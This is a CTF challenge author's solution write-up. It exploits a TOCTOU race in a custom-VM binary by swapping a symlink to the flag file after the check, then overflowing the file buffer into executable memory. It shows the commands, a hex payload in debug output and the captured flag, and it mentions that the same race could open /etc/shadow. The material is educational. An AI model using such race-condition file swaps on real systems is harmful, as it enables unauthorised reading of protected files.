Skip to main content
  1. Writeups/

VM Time C - Autorské řešení úlohy

·1320 words·7 mins
Table of Contents

Finding the password from the md5 hash is trivial, just go to the first md5 decrypt site (e.g. https://hashes.com/en/decrypt/hash) and it will find it (it’s the notoriously well-known “letmein”).

We’ve once again got a binary that seems to emulate custom architecture. This time, when we run it, it asks for a filename, then it performs a check if the file does not contain the string “flag” (in the first line to be exact) and then allows us to write to that file.

__libc_open64(file=0x7fffffffc580 "test", oflag=0x2=O_RDWR)

However, we can see that the file is opened with O_RDWR flags, which means that if we got access to the fd of the opened file, we would be able to read from it. At first glance, this does not seem to help us much. We still cannot open the file which contains the flag, because the program checks if the file contains the string “flag”.

Fortunately, we can bypass this check using a simple race condition, or TOCTOU (time of check, time of use vulnerability). We can read more about race conditions for example here: https://www.geeksforgeeks.org/race-condition-vulnerability/

The main point is that if we are able to first have the program open a file which does not contain the flag and then rename the flag (or rather a symlink to it) to name of that file, after the condition is checked, but before the program opens the file for the custom code, we can make the program open the flag.

Example:

ln -s flag flag_link
filename = "file" // file does not contain the string "flag"
program checks if the file contains "flag"
    => the file does not contain "flag"
    => program continues execution
mv flag_link file
program opens the file // however, the file now is a symlink to flag

Note that this happens very quickly, so we’ll have to automate it and even then it won’t probably pass at the first try.

Now, let’s find out how to read the opened file. From strace we can see that when the program asks for file content, it reads 2048 bytes. However, the offset of executable memory is only 512 bytes. This means that we can, as in the previous level, overwrite the code.

There is also a problem that we need to get to just the right instruction which is currently being executed, because the program exits (which the previous one did not). We can determine the offset by debugging in gdb or whatever we want to use.

The full exploit is in ./e.py. To run the exploit, first we need to copy the files via ssh, for example using scp. If you want to compile the renameat2.s file yourself, you can run:

gcc -static -nostdlib -o renameat2 renameat2.s

Copy the files:

scp renameat2 e.py scp://hacker@localhost:4242//home/hacker

Install pwn:

pip install pwn

Run the exploit:

./e.py

The program finishes in about a second (non-renameat2 methods will be slower, but still achievable within seconds, I just like to write asm rather than bash):

time ./e.py
Linked flag_link to flag.
Touched f.
Started renameat2.

################################
flag{r4c1ng_f4st3r_7han_l1ght}
################################

Removed f.
Removed flag_link.

real    0.31s
user    0.19s
sys     0.21s
cpu     130%
time ./e.py
Linked flag_link to flag.
Touched f.
Started renameat2.

################################
flag{r4c1ng_f4st3r_7han_l1ght}
################################

Removed f.
Removed flag_link.

real    0.28s
user    0.21s
sys     0.13s
cpu     122%

To check how many processes are opened set argv[1] = "info", "debug" or nothing for no debug output. The program usually runs the chall once or twice in order to get the race condition (renameat2 is fast!):

./e.py debug
Linked flag_link to flag.
Touched f.
[+] Starting local process './renameat2' argv=[b'./renameat2'] : pid 24310
Started renameat2.
[+] Starting local process './chall': pid 24312
[DEBUG] Sent 0x1 bytes:
    b'f'
[DEBUG] Sent 0x40a bytes:
    00000000  42 42 42 42  42 42 42 42  42 42 42 42  42 42 42 42  │BBBB│BBBB│BBBB│BBBB│
    *
    000003e0  42 42 42 42  42 42 42 42  42 42 42 42  31 23 26 75  │BBBB│BBBB│BBBB│1#&u│
    000003f0  24 00 75 25  40 01 68 00  75 23 01 75  24 00 31 25  │$·u%│@·h·│u#·u│$·1%│
    00000400  22 01 69 00  75 23 42 01  71 00                     │"·i·│u#B·│q·│
    0000040a
[*] Process './chall' stopped with exit code 0 (pid 24312)
[+] Starting local process './chall': pid 24314
[DEBUG] Sent 0x1 bytes:
    b'f'
[DEBUG] Sent 0x40a bytes:
    00000000  42 42 42 42  42 42 42 42  42 42 42 42  42 42 42 42  │BBBB│BBBB│BBBB│BBBB│
    *
    000003e0  42 42 42 42  42 42 42 42  42 42 42 42  31 23 26 75  │BBBB│BBBB│BBBB│1#&u│
    000003f0  24 00 75 25  40 01 68 00  75 23 01 75  24 00 31 25  │$·u%│@·h·│u#·u│$·1%│
    00000400  22 01 69 00  75 23 42 01  71 00                     │"·i·│u#B·│q·│
    0000040a
[.] Receiving all data: 0B
[+] Receiving all data: Done (170B)exit code 66 (pid 24314)
[DEBUG] Received 0xaa bytes:
    b'This program allows you to write to a file that exists within /home/hacker and does not contain the flag!\n'
    b'Enter the filename (max 16 characters): \n'
    b'Enter the new content:\n'
[+] Starting local process './chall': pid 24317
[DEBUG] Sent 0x1 bytes:
    b'f'
[DEBUG] Sent 0x40a bytes:
    00000000  42 42 42 42  42 42 42 42  42 42 42 42  42 42 42 42  │BBBB│BBBB│BBBB│BBBB│
    *
    000003e0  42 42 42 42  42 42 42 42  42 42 42 42  31 23 26 75  │BBBB│BBBB│BBBB│1#&u│
    000003f0  24 00 75 25  40 01 68 00  75 23 01 75  24 00 31 25  │$·u%│@·h·│u#·u│$·1%│
    00000400  22 01 69 00  75 23 42 01  71 00                     │"·i·│u#B·│q·│
    0000040a
[◢] Receiving all data: 0B
[+] Receiving all data: Done (201B)exit code 66 (pid 24317)
[DEBUG] Received 0xc9 bytes:
    b'This program allows you to write to a file that exists within /home/hacker and does not contain the flag!\n'
    b'Enter the filename (max 16 characters): \n'
    b'Enter the new content:\n'
    b'flag{r4c1ng_f4st3r_7han_l1ght}\n'

################################
flag{r4c1ng_f4st3r_7han_l1ght}
################################

Removed f.
Removed flag_link.
[*] Stopped process './renameat2' (pid 24310)

Note 1.0: If the filesystem or kernel does not support the renameat2 syscall (it’s relatively new), we can still do it normally either using bash or with python. If python happens to be too slow, we can use more threads. It is always possible to slow down the program in other ways - using large files/long paths/running a lot of other processes (the kernel will do more context switches as it doesn’t have unlimited cores => higher chance of hitting the race condition)/doing magic with pipes and dup2.

Note 2.0: We can use scp to copy the files from local machine to the ssh server:

scp renameat2 scp://hacker@<server_ip>//home/hacker/renameat2

Note 3.0: The fact that there’s Python interpreter installed on the remote machine isn’t mentioned in the instructions, however, I think it is something that one can easily check. Unfortunately, I cannot say this objectively, since I’ve written the Dockerfile to install Python and I know about its presence there. With that being said, it is always possible to write your solution in a compiled language and just copy the binary. I added Python just because it was (probably) used for the previous exploits and it makes writing exploits easier.

Note 4.0: With the current implementation, I see no way of preserving the intended race condition and simultaneously blocking the race condition that occurs between the canonical check and opening the file (an attacker could create a legit file and after checks for either canonical or hard link just change that file to be a symlink/hardlink to /etc/shadow and the program will gladly open it). Personally, I believe there will be some people who will do this, but since it also explores the concept of TOCTOU (in even more realistic environment), I won’t spend too much time trying to correct it. However, if any of the testers suggests a working approach, I’ll implement it.

Note 5.0: The opcodes for instructions and registers in a3 code change for each challenge, but finding them should be a thing of negligible difficulty, so I don’t describe it here.